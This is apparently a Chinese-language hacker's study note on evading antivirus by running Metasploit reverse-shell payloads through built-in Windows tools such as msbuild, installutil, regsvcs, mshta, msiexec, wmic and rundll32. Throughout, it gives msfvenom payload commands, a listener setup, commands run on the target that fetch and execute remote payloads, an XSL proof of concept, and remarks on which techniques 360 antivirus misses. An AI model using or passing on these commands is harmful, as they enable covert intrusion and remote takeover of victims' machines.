免殺學習之使用msbuild來執行payload
什么是msbuild
msbuild是Microsoft和Visual Studio的生成系統,簡單地說,這個就是用來編譯你的項目,也就是所謂的編譯器。MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件,MSBuild可可以編譯特定格式的xml文件。總結來說msbuild可以編譯執行csharp代碼。
存儲路徑
加載32位的shellcode需要32位的msbuild
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
加載64位的shellcode需要64位的msbuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
生成shellcode並執行
這里面我們使用msf來生成64位shellcode(沒有32位的機器,尷尬QAQ)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp
使用別人的模板
https://github.com/3gstudent/msbuild-inline-task.git
使用executes x64 shellcode.xml這個模板(我是64位的機器),將45行的shellcode改為msf生成的shellcode(注意變量名)
msf設置為監聽狀態
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
然后在目標機器上執行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
后記:win10有內存保護,不允許寫進shellcode。這里面我的win7和win2008是沒有v4.0.30319這個目錄的,其他的目錄雖然也有msbuild但是用不了,編譯的時候報錯。
暫時沒有使用成功。
installutil.exe和csc.exe的使用
什么是installutil
installer工具是一個命令行實用工具,允許您通過執行指定程序集中的安裝程序組件來安裝和卸載服務器資源。此工具與System.Configuration.Install命名空間中的類一起使用。(應該是c#)
使用msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp
下載別人的Installutil-shellcode的cs文件,將里面的shellcode替換為我們的。
使用csc編譯
csc就是一個自帶的c#的編譯器
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
后記:生成的后綴可以自定義,但是需要用installutil來使用
使用installUtil來執行二進制文件
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

成功會反彈shell.但是360會攔截下來,需要點同意。emmmm
regasm和regsvcs的使用
兩者的使用方式是一樣的,並且於上文是相同的
- 同樣需要下載一些東西
- msf中生成shellcode,並放入cs文件中
- 編譯(使用csc編譯,不過必須編譯為dlll才可以)
- 執行(使用regasm和regsvcs)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
執行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
或者
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
這里面我們沒有簽名工具sn,暫時先放着吧
使用mshta
這個就比較好利用了,因為這個是在環境變量里面的。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f raw > shellcode.bin - shellcode進行base64加密
cat shellcode.bin | base64 -w 0
將' ---------- DO NOT EDIT BELOW HERE -----------上面包起來的base64替換掉。
web服務部署一下
目標機上執行 mshta.exe http://xxx/shellcode.hta
NB,直接上線,360沒有任何反應!!!!
cobal strike中也有這個功能
使用Msiexec
Msiexec是Windows Installer的一部分,用於安裝Windows Installer安裝包(MSI),一般在運行 Microsoft Update 安裝更新或安裝部分軟件的時候出現,占用內存比較大。並且集成於 Windows 2003,Windows 7 等。
Msiexec已經被添加到了環境變量里面了。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f msi > shellcode.txt
- 目標機器執行命令
msiexec.exe /q /i http://192.168.22.1:12345/shellcode.txt
后記:360會攔截。提示msi下載攻擊
wmic
已經在環境變量里面了
wmic os get /FORMAT:"http://example.com/evil.xsl"
poc
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>
擴展
https://3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
后記:360會攔截,說是wmic攻擊
利用Rundll32.exe
Rundll32.exe是指"執行32位的DLL文件"。它的作用是執行DLL文件中的內部函數,功能就是以命令行的方式調用動態鏈接程序庫。已經加入環境變量。
- 執行自定義的
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
后記:會被攔截
使用shellcode loader
借助第三方加載器,將shellcode加載到內存中來執行。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
靶機執行
shellcode_launcher.exe -i test.c
靶機上線
后記:360並不會攔截。有點厲害。
使用偏僻語言(py和go等等)
使用偏僻語言的好處就在於,讓殺軟識別不了程序的pe頭。
- msf生成py木馬
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -e x86/shikata_ga_nai -i 5 -f py -o shellcode.py
- 使用pyinstaller打包
pyinstaller -F --console shellcode.py
沒有這個的話就 pip install pyinstaller 安裝一下
這里面有個坑,你用什么系統編譯的就只能在上面系統上執行.
點擊生成的二進制文件.木馬上線。
使用Go語言
暫時沒整這個環境
